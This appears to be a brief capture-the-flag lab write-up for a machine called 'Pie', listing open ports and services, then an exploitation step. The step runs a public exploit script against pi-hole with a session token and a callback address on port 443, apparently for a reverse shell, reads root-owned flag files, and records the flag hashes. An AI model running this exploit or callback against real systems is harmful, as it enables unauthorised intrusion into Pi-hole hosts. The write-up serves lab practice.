Info

  • Name – Pie
  • IP Address – 172.31.1.26

Enumeration

Open Ports

PortProtocolServiceVersion
22tcpsshOpenSSH 7.6p1 Ubuntu 4ubuntu0.3
53tcpdomaindnsmasq pi-hole-2.81
53udpdomaindnsmasq pi-hole-2.81
68udpfiltereddhcpc
80tcphttplighttpd 1.4.45

Exploitation

Exploit Details (SearchSploit)

python3 48443.py atdaj2pefer1jt6e7jthfbr6hb http://$ip 10.10.0.15 443
whoami
cat /home/pi/access.txt
cat /root/system.txt

Loot

access.txt - 1621f6c9650f47aee51b6b2e08505273
system.txt - 551a538175c2cbfcbbd5d8d1a66800cc